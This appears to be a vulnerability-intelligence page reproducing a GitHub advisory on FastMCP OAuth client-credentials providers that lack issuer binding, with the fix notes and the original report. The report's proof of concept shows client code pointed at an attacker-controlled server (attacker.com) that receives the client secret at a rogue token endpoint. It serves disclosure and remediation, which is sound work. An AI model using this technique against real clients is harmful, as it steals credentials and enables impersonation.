KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 01:11 UTC

Back to the wire
Permalink
VulnerabilityGHSA-vqqp-x5qm-5qp4

FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: fastmcp: 4.1.2; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-vqqp-x5qm-5qp4 (opens a new tab)

What happened

## Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later.

Continue reading

Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

```python from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", issuer="https://auth.example.com", ) ```

## Original report

### Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised.

This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

### Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...) 2. Provider binds to server URL and discovers OAuth metadata 3. Client exchanges credentials at the token endpoint 4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises 5. Attack: attacker-controlled MCP server advertises attacker's authorization server 6. Result: client secret leaked to attacker

Affected code: - fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage: ```python auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", ) async with Client("https://attacker.com/mcp", auth=auth) as client: # Client credentials get sent to attacker's auth server if attacker's MCP # server advertises it in RFC 9728 metadata await client.list_tools() ```

### Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

### Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties: - Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers - Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios: - User misconfigures MCP server URL in Prefect agent config - MCP server URL obtained from user input without validation - Legitimate MCP server is compromised/redirected - MCP service provider (if SaaS) is compromised

Affected package ranges reported by GitHub: fastmcp: >= 4.0.0a1, < 4.1.2 fastmcp-slim: >= 4.0.0a1, < 4.1.2

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-vqqp-x5qm-5qp4 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vqqp-x5qm-5qp4, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server. https://kevwire.com/record/GHSA-vqqp-x5qm-5qp4

MLA

"FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server." KEVWire, 23 Oct. 2026, kevwire.com/record/GHSA-vqqp-x5qm-5qp4.

Chicago

KEVWire. "FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server." Last modified October 23, 2026. https://kevwire.com/record/GHSA-vqqp-x5qm-5qp4.

Evidence summary (plain text)

FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server (Oct 23, 2026).
This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.
Sources:
GitHub-reviewed advisory GHSA-vqqp-x5qm-5qp4: https://github.com/advisories/GHSA-vqqp-x5qm-5qp4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-vqqp-x5qm-5qp4.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 20:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail